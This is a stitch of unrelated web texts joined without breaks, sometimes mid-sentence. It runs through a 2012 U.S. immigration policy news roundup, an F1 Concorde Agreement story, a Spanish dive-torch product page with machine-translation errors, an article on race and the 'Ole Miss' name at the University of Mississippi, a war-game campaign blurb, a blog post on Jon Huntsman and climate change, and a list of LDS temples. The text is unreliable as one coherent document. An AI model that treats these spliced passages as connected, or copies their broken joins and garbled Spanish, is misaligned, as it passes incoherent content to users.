CBP to Stop Issuing I-94 Cards. Foreign travelers coming to the United States will no longer be required to fill out and retain paper cards containing their date of admission and visa category (known as form I-94 cards) under a new policy being implemented by United States Customs and Border Protection (CBP). In mid-August, CBP announced plans to phase-out the paper-based I-94 process, primarily because the agency already collects the same information through its electronic Advance Passenger Information System (APIS). Under the new policy, CBP officers who admit foreign nationals to the United States will continue to place a stamp in each non-citizen's passport, noting the person's date of admission and period of authorized stay. The government has not yet announced when the new policy will take effect.
Review the current I-94 form
Read more about temporary admissions to the United States in the Source's U.S. in Focus article from February 2012
Judge Lifts Bar on Policing Provision of SB 1070. Federal District Court Judge Susan Bolton ruled that Arizona's local law enforcement agencies can begin implementing SB 1070's policing provision, which was upheld by the Supreme Court in June, and requires police officers to determine the immigration status of those stopped by the police who are suspected of being unauthorized. Opponents of the measure sought to enjoin implementing of the law based on racial profiling concerns, while the law's supporters argued that racial profiling fears were speculative and that local police officers had received adequate civil rights training. The requirement will go into effect later this month when the existing bar, in place from the federal government's initial challenge to SB 1070, is lifted.
See the ACLU's press release on the issue
on the issue Read more about Judge Bolton's initial injunction of the Arizona law in the August 2010 Policy Beat
11th Circuit Rules on Alabama's and Georgia's Immigration Laws. The U.S. Court of Appeals for the 11th Circuit issued two rulings finding certain provisions of state immigration enforcement laws passed by Alabama (HB 56) and Georgia (HB 87) unconstitutional. Most notably, a three member panel of the appeals court ruled that the portion of HB 56 which required schools to collect proof of citizenship for students to determine their immigration status is preempted by federal law and violates the Equal Protection Clause. However, the court also ruled that the portions of HB 56 and HB 87 which require law enforcement officers to investigate into a person's immigration status when an officer suspects that the person is an unauthorized immigrant could take effect, reasoning that such provisions were similar to the part of Arizona law SB 1070 that the Supreme Court upheld last June. On September 10, the State of Alabama filed an appeal with the 11th Circuit, asking for the entire court to rehear the case.
Read the 11th Circuit Court Opinion here and here
and Read more about the 11th Circuit's previous rulings on the Georgia and Alabama immigration enforcement laws in the October 2011 Policy Beat
DACA Recipients Ineligible for Medicaid, CHIP. Those granted deferred action under the DACA program will not be eligible for Medicaid or the Children's Health Insurance Program (CHIP), announced the U.S. Department of Health and Human Services (HHS) in a letter to state health officials and Medicaid directors who administer both healthcare programs. Currently, states can offer Medicaid and CHIP to US citizens, permanent residents, and some pregnant women and children (under 22) who are lawfully present in the United States, as defined by HHS. While pregnant women and children with deferred action can receive Medicaid and CHIP coverage under the existing guidelines, in light of DHS's new policy, HHS issued a new rule which renders recipients of deferred action specifically through the DACA program ineligible.
Read the letter from HHS to state health officials and Medicaid Directors
to state health officials and Medicaid Directors Read the HHS policy change in the Federal Register
in the Federal Register Read the 2010 guidelines on Medicaid and CHIP coverage
Mexican Interior Repatriation Program Suspended. The Department of Homeland Security (DHS) has suspended the Mexican Interior Repatriation Program (MIRP), which each summer flies deportable Mexican migrants apprehended at the border in Arizona to the interior of Mexico in order to return them closer to their hometowns. According to the Border Patrol, MIRP has humanitarian benefits and effectively discourages future crossing attempts by making it more difficult and costly to reinitiate a journey to the United States. While DHS may resume MIRP in the future, the high-cost program was halted to save resources and because reduced illegal crossings have created less demand for repatriation flights. Since it began in 2004, MIRP has provided flights for more than 125,000 migrants.
Read the Associated Press article on the suspension of MIRP
Read more about MIRP in the July 2005 Policy Beat
U-Visa cap reached for 2012. For the third year in a row, U.S. Citizenship and Immigration Services (USCIS) approved the statutory maximum of 10,000 petitions for U nonimmigrant status. U-Visas are available to immigrants who are victims of designated crimes (including domestic violence, sexual assault, and human trafficking), can demonstrate good moral character, and are willing to assist law enforcement with the investigation and prosecution of the crime. Recipients of U-visa status can apply for temporary work authorization, are protected against deportation, and are eligible to apply for permanent resident status after three years. Congress created the U-visa category in 2000 and the program was implemented in 2008. Since then, over 61,000 crime victims and their family members have received U-visas.
Read the press release on USCIS's website
on USCIS's website Learn about the U-Visa on the USCIS website
on the USCIS website Check out the Policy Beat's past coverage of the U-visa regulations in the November 2007 Policy Beat
DHS Office of Immigration Statistics Releases 2011 Enforcement Numbers. On September 7, the Department of Homeland Security's Office of Immigration Statistics (OIS) published their annual report detailing internal immigration enforcement actions. In fiscal year 2011, DHS removed 392,000 foreign nationals (including 188,000 criminals), up from 387,000 reported in the FY 2010 statistical report. The leading countries of origin of those removed were Mexico, Guatemala, Honduras, and El Salvador. Additionally, DHS agencies apprehended a total of 642,000 individuals, returned 324,000 foreign nationals to their home countries without a removal order, and ICE detained approximately 429,000 foreign nationals. CBP found 212,000 foreign nationals inadmissible for entry into the United States. The statistics were published amidst a wave of Congressional criticism over DHS's inconsistent reporting of deportation numbers.
See the new report, “Immigration Enforcement Actions: 2011” here
ICE Agents Sue DHS Secretary and ICE Director. On August 23, a group of ten Immigration and Customs Enforcement (ICE) agents filed a lawsuit in the U.S. District Court in Dallas against Janet Napolitano, Homeland Security Secretary, and John Morton, Director of ICE. The lawsuit states that the DACA directive is unlawful and unconstitutional, and seeks to block the program's implementation. It also seeks to prevent ICE officers from being forced to violate federal law by following instructions to not deport DACA-qualifying unauthorized immigrants. Kris Kobach, the Kansas Secretary of State and an architect and defender of many recent state immigration enforcement laws, such as those passed in Arizona and Alabama, is representing the ICE agents and officials.
See the complaint filed against Janet Napolitano and John Morton
OIG Report Finds Faulty Records in US-VISIT Database. A recent report by the Office of the Inspector General (OIG) found that the Automated Biometric Identification System (IDENT), DHS's primary fingerprint database for foreign nationals that seek to enter the United States, has not succeeded in identifying and flagging use of fraudulent identities. The report found that IDENT contained 825,000 cases (0.2 percent of overall entries) where fingerprint records matched with more than one set of biographic data, which includes an individual's name, date of birth, place of birth, etc. Data entry errors are said to account for most of the inconsistencies; however, a share of the discrepancies resulted from individuals using false or multiple identities to enter the United States.
Read the OIG report
State and Local Policy Beat in Brief
CA State Legislature Passes Bill to Allow DACA Beneficiaries to Drive. The California state legislature passed a bill authorizing the Department of Motor Vehicles to grant driver's licenses to California residents who receive deferred action status under the federal government's new DACA initiative. States are currently split on whether to allow non-citizens who receive status under DACA to also apply for state-issued driver's licenses. While governors in Nebraska and Arizona have announced that they will not allow DACA beneficiaries to receive driver's licenses, other states, including Texas, have gone in the opposite direction. The California bill now moves to the desk of Governor Jerry Brown, who has not yet indicated whether he plans to sign it.
Read the new California bill
Read more about the new DACA program in the June and August, 2012 Policy Beats
Settlement Reached in Unlawful ICE Detention Case. A U.S. citizen has settled with ICE for $25,000, after bringing a civil rights lawsuit against the agency. He was detained as a result of officials' mistaken belief that he was born in the Dominican Republic. Ernesto Galarza, the plaintiff in the case, alleged that after he was arrested in November of 2008 on drug-related criminal charges, law enforcement officials in Allentown, Pennsylvania, as well as federal ICE agents, prevented him from bonding out of state custody by filing an immigration “detainer” against him. Mr. Galarza maintained that throughout his detention, he provided proof of his U.S. citizenship and repeatedly explained that he was born in Puerto Rico, rendering him a U.S. citizen by birth.
Read the original complaint in Galarza v. Szalczyk, filed by Galarza in conjunction with the American Civil Liberties Union (ACLU) of Pennsylvania
Courts in FL, NJ, Reject State Regulations Barring Children of Unauthorized from In-State Tuition. Federal judges in Florida and New Jersey have rejected as unconstitutional new state regulations that barred certain U.S. citizen youths with unauthorized immigrant parents from receiving in-state tuition at public colleges and universities. Many states require students applying for in-state tuition to prove their legal residency. However, the Florida and New Jersey regulations were unique in that, in addition, certain students' parents were required to prove their own legal status before their children received in-state tuition rates.Teams are negotiating with Bernie Ecclestone over the terms of the Concorde Agreement
The teams are negotiating with F1 chief Bernie Ecclestone over the terms of the Concorde Agreement, which commits them to race and specifies that they share 50 per cent of the sport’s profits as prize money. The teams are believed to want 75 per cent, but Ecclestone is unlikely to give ground. He told the Daily Express that, in fact, his business could get a boost if no new contract is signed. “I don’t even care if we don’t have a Concorde Agreement. It makes no difference to us,” he said. “What we might do is run the championship and ask the teams for money to enter.” Ecclestone’s business levies no charge on the teams to race in F1 and their only direct costs of getting a grid slot are registration and entry fees, which come to about £500,000 per outfit – which are paid to the sport’s governing body the FIA, not to Ecclestone’s company CVC, where he is chief executive officer.
I don’t even care if we don’t have a Concorde Agreement Bernie Ecclestone
Once the Concorde Agreement expires, Ecclestone could introduce the racing fees from 2013 without needing consent from the teams and he says the benefit to him is simply that “it would put more money in our bank.” He added: “If I want to enter a horse in the Derby, I pay a whacking great entry fee.” The current agreement was signed in August 2009, nearly two years after the previous draft expired and Ecclestone said that, as is the case in other sports, it could cost the teams if they delay. “If you are late with an entry in the Derby, you have to pay a chunk of money to enter the horse,” he said. His comments up the ante against the teams. The top four, Ferrari, McLaren, Mercedes and Red Bull, are believed to have met in Stuttgart over the weekend to discuss the negotiations with Ecclestone, as well as the possibility of F1 being taken over by Rupert Murdoch’s News Corp media empire and the Exor investment fund. Since then, CVC Capital, has said that it is not for sale.
It is believed that the move was to exert pressure on Ecclestone in the Concorde negotiations. Exor owns 30.4 per cent of Italian car manufacturer Fiat which, in turn, owns 90 per cent of Ferrari, and it has been particularly vocal about how it wants F1 to change. Earlier this month, Ferrari’s team principal Stefano Domenicali said that CVC “must invest in F1 and develop ”. This was followed by comments from Ferrari’s president Luca di Montezemolo, who added that, if the teams fail to agree on the Concorde terms, they could “create our own company, like NBA basketball teams did in the US with great success, just to run races, TV rights and so on”.EUR 290,00
Un foco principal compacto
Desde las primeras generaciones el foco Barbolight U-15 fue un éxito por varias razones. Para empezar, al ser el primero en combinar baterías de li-ion con una optoelectrónica de alta potencia le permitieron las prestaciones propias de las linternas que multiplicaban su peso por varios enteros, Otra razón era la combinación adecuada de potencia y autonomía que lo tenían para el adecuado el 99% de las inmersiones. En esta versión hemos mejorado las prestaciones, con una opción de mucho más alcance, y hemos aumentado la autonomía hasta 2 horas.
Contenido
La linterna se entrega con funda BG15, anilla, cordón, dos baterías 18650 Panasonic 3400 mAh y cargador / "power-bank" BB02.
Características generales
Todas las linternas Barbo se fabrican en la aleación más resistente que existe de aluminio, la 7075 T651, con un acabado anodizado duro que asegura su durabilidad y resistencia de roscas y superficies.
Las partes más expuestas están en bronce náutico "Almirantazgo latón", un material extraordinariamente resistente a la corrosión, que además es más elegante, más se usa, adquiere una única y personal en cada unidad.
Las lentes se Realizan en policarbonato y Toda su electrónica se protege con Compuesto ONU Especial de 3M para Asegurar Que Pueda funcionar INCLUIDO ante una eventual Una inundación de la Cámara de Baterías.
Los contactos están recubiertos en una aleación de cobalto-oro.
Usamos las baterías de más alta capacidad y contrastada fiabilidad, las Panasonic 18650 3400 mAh.
Dimensiones y prestaciones
Tamaño 62 * 24 * 205 mm (diámetro mayor / cabeza * diámetro menor / tapón * longitud)
Peso 390 gr (dos baterías de 46 gr incluidas). 298 gr sin baterías.
Potencia disipada máxima: 12 vatios.
Potencia lumínica máxima 876 lm
57500 lx @ 1 metro
Temperatura de color ≧ 6200Kº
CRI ≧ 70
Ángulo del haz central: 3º
Autonomía hasta 50% de emisión inicial 110 min (1h 50 min). Potencia lumínica media durante la descarga; 749 lm.
Estanqueidad IP69K -200 metros.
Resistencia a medidas según norma Mil.Std. 810. F "Prueba de caída"
Garantía de por vida
GARANTÍA DE POR VIDA SIN COMPROMISOS. Una linterna confiable y de calidad ha sido respaldada por un servicio técnico confiable y de calidad. En Barbolight contamos con un servicio técnico preparado para mantener un estocaje permanente de piezas, herramientas específicas y el proveedor de formación constante. Todos nuestros centros de distribución en Europa, Asia y EE. UU. Disponen de una serie de linternas completas para que no se queden a oscuras mientras reparamos o hacemos el mantenimiento a vuestras linternas.
La garantía original de la línea es de 2 años, sin embargo, esta quedará renovada anualmente y sin el uso del mantenimiento básico en un centro reconocido.To most University of Mississippi students and alumni, calling the institution "Ole Miss" is just natural. It's what people say. University email addresses are @olemiss.edu, not @umiss.edu. But not everyone likes the name.
The university's announcement on Friday that, as part of a review of race relations at the university, it would encourage "appropriate" use of the term, won praise from some quarters but plenty of criticism. So did a series of other announcements by the university, which is hoping to change its association with symbols of the Confederacy. Reports commissioned by the university (which influenced Friday's announcement) angered some students and alumni -- particularly those with ties to the Greek system -- by discussing the perceptions of some black students and alumni who are far more critical of university traditions and life at the university than are white students and alumni.
One of the reports, discussing a student focus group, linked the Greek system and the symbols of Southern history. "A number of students believe that the traditional fraternities and sororities serve as attractors, incubators, and protectors for students wedded to the symbols and beliefs of the South’s racist past. With few exceptions, the majority of the group, white and black, nodded in agreement. The African American students shared examples of indignities they have been subject to or witness of that involved the fraternities and sororities.
"Every black student in the room said that they had been called the 'N-Word' at least once on campus," the report says. "From rejection of people of color into the organizations, chanting 'The South will rise again' at sporting events, to hurling racist and sexual epithets at innocent passersby, the Greeks are viewed as a major problem."
The university announcement didn't use language anything like that, but talked about making the university more inclusive. The university announced a series of recommendations that it was endorsing:
Create a new vice chancellor's position for diversity and inclusion.
Develop "a set of standards for diversity and engagement."
Deal "squarely" with issues of race. Provide more "context" in various ways for people to understand the history of race relations at the university.
Change the names of some facilities to draw attention to black Mississippi figures. For example, a road will be renamed to honor Lee (Chucky) Mullins, a black football player who was paralyzed and later died.
Change the name of "Confederate Drive" to "Chapel Lane."
Seeking "appropriate" use of the Ole Miss name.
A statement from Chancellor Dan Jones said that "we will need to continue a dialogue on race at our university. Our unique history regarding race provides not only a larger responsibility for providing leadership on race issues, but also a large opportunity – one we should and will embrace.”
The University of Mississippi was segregated for decades and admitted James Meredith as its first black student in 1962 only after multiple court orders and federal intervention -- and days of riots by white people opposed to integration. A statue of Meredith at the university -- seen as a symbol of the institution acknowledging its history -- was vandalized with a noose this year, and three fraternity members were accused of being responsible.
This is not the first time the university has tried to limit its association with Confederate symbols. In the 1990s, amid concerns that waving the Confederate flag at football games was discouraging black athletes from enrolling, the university adopted new rules designed to bar the flag (although the rules were not explicit about the Confederate flag to avoid violations of the First Amendment). A federal appeals court in 1990 upheld the rules (which barred all large flags or flags on sticks from football games) and the Supreme Court declined to hear the appeal. While the university won the legal ruling, Confederate symbols (many times unofficially) continued to be associated with the university.
The Ole Miss Name
The current review is broader than many of the previous efforts, which focused on specific practices such as flying Confederate flags. The university is now discussing diversity broadly, and history and symbols and names that have created strong emotional connections for many students and alumni. The Ole Miss name is a particularly contentious issue.
The university statement said this on the Ole Miss name: "UM’s longstanding nickname is beloved by the vast majority of its students and alumni. But a few, especially some university faculty, are uncomfortable with it. Some don’t want it used at all and some simply don’t want it used within the academic context." The statement noted that the university did a national study of people's responses to the name, and found that most people view it only as "an affectionate name for the university" and that "a very small percentage of respondents associate the university, either as 'Ole Miss' or 'University of Mississippi,' with negative race issues."
The statement said that "both names will be used in appropriate contexts going forward, with particular emphasis going to 'Ole Miss' in athletics and as a representation of the university’s spirit."
The report commissioned by the chancellor went further in characterizing discontent with the breadth of the use of Ole Miss. The report was by Edward L. Ayers, the noted Civil War historian who is president of the University of Richmond, and Christy Coleman, president of the American Civil War Center in Richmond. They noted the way the city of Richmond has overcome some tensions about its history not by trying to cover it up, but by promoting better understanding of history, and they suggest the university do the same. The university has many symbols, they note in their report, but little context is provided, and it is badly needed.
"Such work would provide a more coherent narrative than currently exists, in which several isolated monuments, including the Confederate Memorial and the James Meredith monument, seem to stand at polar opposites, with vast blank spaces of time and struggle missing," they write. "People are not told in any meaningful way about the world of slavery in which the University began, the decision for secession that shaped everything that followed, or the segregation that dominated life in the South for a century after the Civil War."
Of the Ole Miss name, they note that some but not all who use the name are aware of its antebellum past (a name slaves would use for the woman married to the plantation owner). And while the report agrees that many students and alumni love the name, it adds that they see the nickname as a symbol that holds the university back. "Building a dialect version of 'old' into an institution that is built to prepare for the future strikes them as inherently problematic," the report says. It also notes that many are reluctant to speak out publicly for fear of offending those who revere the name.
The report adds: "A nickname cannot carry the weight and gravity of the state’s name or convey the seriousness of purpose that an important institution of research, health care, and social mission deserves. In interactions involving grant proposals, job applications, or letters of recommendation in particular, we were told, faculty, staff, and students chafe at having the email address read 'olemiss.edu.' They think the University should identify itself as 'umiss.edu' in such contexts. This does seem worth considering for official university business and the university might well consider making 'Mississippi' or 'The University of Mississippi' the default. The nickname could be reserved, as it is for almost all other universities, for athletics and alumni relations."
While that report and the university statement didn't in fact ban the use of Ole Miss, asking only for consideration of the name's use, many alumni took to Twitter to condemn Chancellor Jones for a ban he didn't in fact issue.
A typical comment: "DAN JONES is a MORON and should be fired immediately!! He is CLUELESS and an embarrassment to MY OLE MISS!!!" Notably, some of the comments that praised Jones on Twitter for raising these issues expressed doubt that he could change some parts of the university's culture, such as the name. Said another tweet: "If you think the name 'Ole Miss' is going anywhere, you are misinformed. BUT, what Dan Jones IS doing is overdue and courageous."
Erasing the Past?
An open letter to the chancellor circulating, particularly among supporters of the Greek system at Mississippi, takes on many of the ideas in the new policies and in the reports commissioned by the university.
"Does changing our email address URL from “olemiss.edu” to “umiss.edu,” promote diversity?," the letter says. "Or does it suggest that we are a school that is ashamed of itself and ashamed of its past? While the University of Mississippi has a history that we may not be proud of as modern Americans, the best approach is not to do what we can to erase the past. While it may seem like a noble idea to restrict 'Ole Miss; to the athletic field, the fact is that I will continue to refer to the school as Ole Miss no matter what. Does this make me a racist? Or does this make me a student that is fond of the nickname (or simply fond of fewer syllables)?"
But the letter took particular exception to the statements about the Greek system. "[T]he comments about the Greek system are the most offensive. Chancellor Jones. I understand that these comments are not necessarily your opinion, and may not even be the opinion of many. As an Ole Miss student... and an active member of my sorority, being referred to as a girl 'wedded to the symbols and beliefs of the South’s racist past' simply for being a member of a Greek organization is both offensive, false, and, to be frank, it is hypocritical of the University of Mississippi to post such comments in a report trying to promote diversity. Because of the actions of three fraternity members last semester, the entire Greek community is now subjected to the scolding looks of faculty, administration, and every non-Greek student. How does that promote diversity?"
And the letter also expressed fear about creating a new senior position in the administration to focus on diversity, saying that "by trying to promote racial diversity, you are creating new problems." By creating the new position, the letter says, "you are suggesting to the rest of the world that Ole Miss is inherently a racist school, and her students are incapable of change on their own."
While various parties are debating the new effort on race at Mississippi, one observer on Twitter wrote that the chancellor, accused of denigrating tradition, might not be, at least in all respects. The comment: "Dan Jones is, in fact, preserving the most time-honored tradition at Ole Miss: arguing over tradition."If you haven’t done it yet, remember that the pre-order beta is still going on: you can still pre-order the game at any time and receive your rewards at the release!
Since the beginning of Steel Division: Normandy 44’s development, we have decided to create a meticulous single player campaign. Indeed, setting the game within the context of the Normandy invasion gave us the opportunity to put the player at the heart of some incredible, heroic or tragic stories. And if you play right, you may rewrite History itself…
Adding hours of content, the single player campaigns, divided into three independent storylines, provide players with another way of enjoying the game, in addition to the more competitive skirmish battles.
(Re)make History
In the single player campaigns, you will be able to take command of battlegroups from three divisions during unique and complex storylines:
The 82nd Airborne Division, fighting its way through the Cotentin Peninsula (medium difficulty)
, fighting its way through the Cotentin Peninsula (medium difficulty) The 21. Panzerdivision, which could have turned the tide of the battle had it advanced against the beachhead in the first hours of the battle (hard difficulty)
, which could have turned the tide of the battle had it advanced against the beachhead in the first hours of the battle (hard difficulty) The 15th (Scottish) Infantry Division, which faced terrible hardships in its advance across the Odon river and toward Hill 112 (very hard difficulty, yeah we know it sounds scary).
Each campaign is divided into missions. Every mission has its own flavour, with different objectives and |
that reddish theme be a hint that this particular example is destined for Vodafone? Only time will tell.[Thanks to everyone who sent this in]Yesterday, Daniel wrote a brief profile on GOP presidential contender John Huntsman. The ex-ambassador to China recently mentioned in a recent TIME interview that *gasp* he sees no reason to disagree with the vast consensus of scientists who say that human activity is causing the planet to warm. Upon the publication of those statements -- and even though he explicitly disavowed his onetime support (which he describes above) for actually doing anything to address climate change -- the right wing media immediately raked him over the coals for revealing his ideological impurity. Huntsman told TIME that climate change
... is an issue that ought to be answered by the scientific community; I'm not a meteorologist. All I know is 90 percent of the scientists say climate change is occurring. If 90 percent of the oncological community said something was causing cancer we'd listen to them. I respect science and the professionals behind the science so I tend to think it's better left to the science community -- though we can debate what that means for the energy and transportation sectors.
"[T]hat talking point is either a misquote of a recent scam too many fell for, or just made up and regardless silly," the American Spectator's Chris Horner wrote, referring to the conservative view that the number of scientists claiming climate change is real has been seriously conflated by the environmental movement, as has the results of their work. Over at RedState, Daniel Horowitz wrote that Huntsman's views on climate change's human origins were just another piece of the Huntsman which conservatives have found less than palatable thanks to his moderate views on gay rights (he's for civil unions)...The interview Huntsman gave to Time "can only mean that he is seeking the VP nomination for a Mike Bloomberg ticket," Horowitz wrote.
What a valid and reasonable thing to say. And seeing as how no reasonable views of climate science may be tolerated in the current federal-level GOP apparatus, out Huntsman must go. TPM reports Yes, to be a viable candidate for the GOP nomination, you must not only publicly trash the notion of cap and trade as being a 'cap and tax' (or publicly apologize if you ever supported it), but you must actively deny the consensus view, supported by decades of meticulous work by the world's top scientists, that climate change is occurring at all. And indeed, the smart money is moving away from Huntsman, and towards someone willing to deny the science altogether.
If this trend continues, only candidates with an active membership to the Flat Earth Society will be deemed viable to win a Republican primary.
More on GOP & Climate Change
Why Are The Republicans The World's Only Major Political Party Who Deny Climate Change?
Dick Cheney Ushered in Era of GOP Climate Denial: NY Times...
GOP Votes to Deny Existence of Climate ChangeOn March 20, the Provo City Center Temple became The Church of Jesus Christ of Latter-day Saints' 150th operating temple.
At that time, the LDS Church had 23 temples that had been announced or that were in various stages of construction and four that were undergoing renovations.
During the Sunday morning session of the 186th Annual General Conference, President Thomas S. Monson announced plans to build temples in four additional locations: Quito, Ecuador; Harare, Zimbabwe; Belem, Brazil; and Lima, Peru.
Here we've compiled information about the 31 LDS temples that have been announced, are being renovated or are in various stages of construction.
Click through the list to see pictures and learn more about their progress.
Abidjan Ivory Coast
Shutterstock
President Thomas S. Monson announced plans to build a temple in Abidjan, Ivory Coast, during the 185th Annual General Conference of The Church of Jesus Christ of Latter-day Saints on April 5, 2015.
Arequipa Peru
Thinkstock
Arequipa will be home to the third temple in Peru. There are more than a half million Latter-day Saints in Peru, and those living in Arequipa have been traveling nearly 500 miles to attend the temple in Lima, according to a 2012 DeseretNews.com article.
President Monson announced plans to build the Arequipa Peru Temple in the October 2012 general conference.
Arequipa is the second most populous city in Peru.
Bangkok Thailand
Shutterstock
President Monson announced plans to build a temple in Bangkok, Thailand, during the 185th Annual General Conference on April 5, 2015.
The nearest temple is in Hong Kong, 1,000 miles away.
There are 19,665 members in Thailand.
Barranquilla Colombia
IRI
President Monson announced plans to build the Barranquilla Colombia Temple in October 2011.
Elder Juan A. Uceda of the Seventy presided at the groundbreaking ceremony on Feb. 20, according to LDS Church News.
The temple will serve 45,000 LDS Church members in Colombia and Venezuela, according to a DeseretNews.com article. It will be the second temple in Colombia.
Barranquilla Colombia
IRI
Announced: Oct. 1, 2011
Status: Construction
Groundbreaking: Feb. 20, 2016
Elder Juan A. Uceda and Sister Maria Isabel Uceda, far left, join local civic, business and law enforcement leaders for the groundbreaking ceremony that symbolically commences the construction of the Barranquilla Colombia Temple.
Belém Brazil
Adobe Stock
During the Sunday morning session of the 186th Annual General Conference, President Monson announced plans to build a temple in Belém, Brazil.
The temple will be Brazil's ninth according to ldschurchtemples.com.
Cedar City Utah
IRI
The Cedar City temple will be the 17th temple in Utah.
The temple was announced on April 6, 2013, by President Monson.
Elder L. Whitney Clayton of the Presidency of the Seventy presided at the groundbreaking ceremony on Aug. 8.
Cedar City Utah
Rachel Sterzer, Deseret News
Announced: April 6, 2013
Status: Construction
Groundbreaking: Aug. 8, 2015
Elder L. Whitney Clayton of the Presidency of the Seventy and Elder Kent F. Richards of the Seventy pose for a photo in front of an excavator. Elder Clayton presided over the groundbreaking of the site where the temple will stand.
Cedar City Utah
Announced: April 6, 2013
Status: Construction
Groundbreaking: Aug. 8, 2015
Photo posted to ldschurchtemples.com on March 20, 2016.
Concepción Chile Temple
IRI
Plans for the Concepción Chile Temple were announced in 2009.
The Concepción Temple will be the second temple in Chile, where more than 500,000 members of the LDS Church reside, according to MormonNewsroom.org.
The groundbreaking for the temple was held on Saturday, Oct. 17, 2015, with Elder Walter F. González, a member of the Seventy and president of the South America South Area, presiding.
Elder González called the day of the groundbreaking "a great day" for people across Chile.
Concepción Chile Temple
IRI
Announced: Oct. 3, 2009
Status: Construction
Groundbreaking: Oct. 17, 2015
LDS Church leaders and their wives participate in the groundbreaking for the Concepción Chile Temple.
Concepción Chile Temple
Elder John A Balden, ldschurchtemples.com
Announced: Oct. 3, 2009
Status: Construction
Groundbreaking: Oct. 17, 2015
Photo posted to ldschurchtemples.com on March 12, 2016.
Durban South Africa
IRI
On Oct. 1, 2011, President Monson announced plans to build a temple in Durban, South Africa.
Elder Carl B. Cook of the Seventy presided at the groundbreaking ceremony on April 9, 2016, according to Mormon Newsroom.
There are three operating temples on the African continent. The Kinshasa Democratic Republic of Congo Temple, which was also announced in October 2011, and the Durban Temple will be the fourth and fifth on the continent, respectively, according to MormonNewsroom.org.
South Africa has more than 61,000 LDS Church members.
Durban South Africa
IRI
Announced: Oct. 1, 2011
Status: Construction
Groundbreaking: April 9, 2016
Local Church leaders and their families break ground for the Durban South Africa Temple.
Fort Collins Colorado
Latter-day Saints in northern Colorado and southern Wyoming will be able to serve closer to home when the Fort Collins Temple is dedicated, according to Mormon Newsroom.
Elder Ronald A. Rasband, then a member of the Presidency of the Seventy, presided at the groundbreaking ceremony for the temple on Aug. 24, 2013.
The temple was announced in the April 2011 general conference.
A free public open house will begin Aug. 19, 2016, and run through Sept. 10, according to Mormon Newsroom.
The cultural celebration will be held Oct. 15, and the temple will be dedicated on Oct. 16 in three sessions.
Fort Collins Colorado
Announced: April 2, 2011
Status: Construction
Groundbreaking: Aug. 24, 2013
Breaking ground on the new Fort Collins Colorado Temple are (left to right) Denver Temple President Robert K. Bills, and Elders Ronald A. Rasband, William R. Walker and George F. Rhodes Jr.
Fort Collins Colorado
Announced: April 2, 2011
Status: Construction
Groundbreaking: Aug. 24, 2013
Photo posted to ldschurchtemples.com on March 16, 2016.
Fortaleza Brazil
mormontemples.org
The Fortaleza Temple will be Brazil’s seventh temple.
Elder David A. Bednar, who presided at the groundbreaking ceremony on Nov. 15, 2011, said, “This city will always be better and different because of the temple to be built here,” according to a November 2011 DeseretNews.com article.
The temple was announced during the October 2009 general conference.
Fortaleza Brazil
Announced: Oct. 3, 2009
Status: Construction
Groundbreaking: Nov. 15, 2011
Church leaders break ground for the Fortaleza Brazil Temple.
Frankfurt Germany
IRI
The Frankfurt Germany Temple, originally dedicated by President Ezra Taft Benson on Aug. 28, 1987, is currently closed for extensive renovations.
The temple will be closed through July 2017, according to LDS.org.
Harare Zimbabwe
Adobe Stock
During the Sunday morning session of the 186th Annual General Conference, President Monson announced plans to build a temple in Harare, Zimbabwe.
"Zimbabwe is home to approximately 14.2 million people and over 26,000 members of the Church. The temple planned for Harare, Zimbabwe’s capital and most populous city, will be the first in the country," according to Mormon Newsroom.
Hartford Connecticut
President Gordon B. Hinckley originally announced plans to build the Hartford Temple in 1992, but when a suitable location could not be acquired, the plans were discontinued while the church focused on constructing other temples, according to a July 2013 DeseretNews.com article.
In 2010, President Monson announced that plans to build the Hartford Temple were being resumed.
President Monson broke ground for the site on Aug. 17, 2013.
The LDS Church announced the Hartford Connecticut Temple will be dedicated on Nov. 20, 2016, according to Mormon Newsroom.
The open house for the Hartford Connecticut Temple will run from Sept. 30 through Oct. 22. A cultural celebration will be held Nov. 19. Tickets can be reserved at lds.org.
Hartford Connecticut
Announced: Oct. 2, 2010
Status: Construction
Groundbreaking: Aug. 17, 2013
President Thomas S. Monson, center, assists Aiden James Oswald during the groundbreaking ceremony for the Hartford Connecticut Temple.
Hartford Connecticut
Announced: Oct. 2, 2010
Status: Construction
Groundbreaking: Aug. 17, 2013
Photo posted to ldschurchtemples.com on March 21, 2016.
Idaho Falls Idaho
The Idaho Falls Idaho Temple was originally dedicated by President George Albert Smith in 1945.
The temple has been closed since March 16, 2015, according to lds.org. The temple is still being renovated though. No official completion date has been announced.
Jordan River Utah
IRI
In 2015, the First Presidency announced that the Jordan River Utah Temple would undergo extensive renovation beginning in February 2016.
The temple closed Feb. 15, 2016, and is expected to reopen in the latter part of 2017, according to Mormon Newsroom.
Kinshasa Democratic Republic of the Congo
IRI
The Kinshasa Democratic Republic of the Congo Temple was announced in the October 2011 general conference.
"The Kinshasa temple will serve 23,000 members in nine stakes and districts. Currently, the nearest temple for members is approximately 2,100 miles away in Johannesburg, a long journey made more difficult by a lack of dependable public transportation," according to MormonNewsroom.org.
Elder Neil L. Andersen of the Quorum of the Twelve Apostles presided at the groundbreaking ceremony on Feb. 12, 2016.
Kinshasa Democratic Republic of the Congo
IRI
Announced: Oct. 1, 2011
Status: Construction
Groundbreaking: Feb. 12, 2016
Elder Neil L. Andersen of the Quorum of the Twelve Apostles; his wife, Sister Kathy Andersen; and local church and community leaders break ground for the Kinshasa Democratic Republic of the Congo Temple.
Lima Peru
Adobe Stock
During the Sunday morning session of the 186th Annual General Conference, President Monson announced plans to build a second temple in Lima, Peru.
The Church announced April 2 that the temple will be called the Lima Peru Los Olivas temple.
"The country has two operating temples (Lima and Trujillo) and two temples that have been announced (Arequipa and the new temple announced in Lima)," according to Mormon Newsroom.
Lisbon Portugal
IRI
The Lisbon Temple was announced in the October 2010 general conference.
The Lisbon Temple will be the first in Portugal, a country with more than 42,000 Latter-day Saints, according to MormonNewsroom.org.
The groundbreaking for the temple was held Dec. 5, 2015.
Lisbon Portugal
IRI
Announced: Oct. 2, 2010
Status: Construction
Groundbreaking: Dec. 5, 2015
Europe Area President Elder Patrick Kearon and his wife, Sister Jennifer Kearon, are shown with local civic leaders breaking ground on the Lisbon Portugal Temple.
Meridian Idaho
The Meridian Idaho Temple was announced in April 2011.
The Meridian Temple will be located in the third-largest city in Idaho, and it will be the fifth temple in Idaho.
Elder David A. Bednar of the Quorum of the Twelve Apostles presided over the groundbreaking ceremony on Aug. 23, 2014.
Meridian Idaho
Announced: April 2, 2011
Status: Construction
Groundbreaking: Aug. 23, 2014
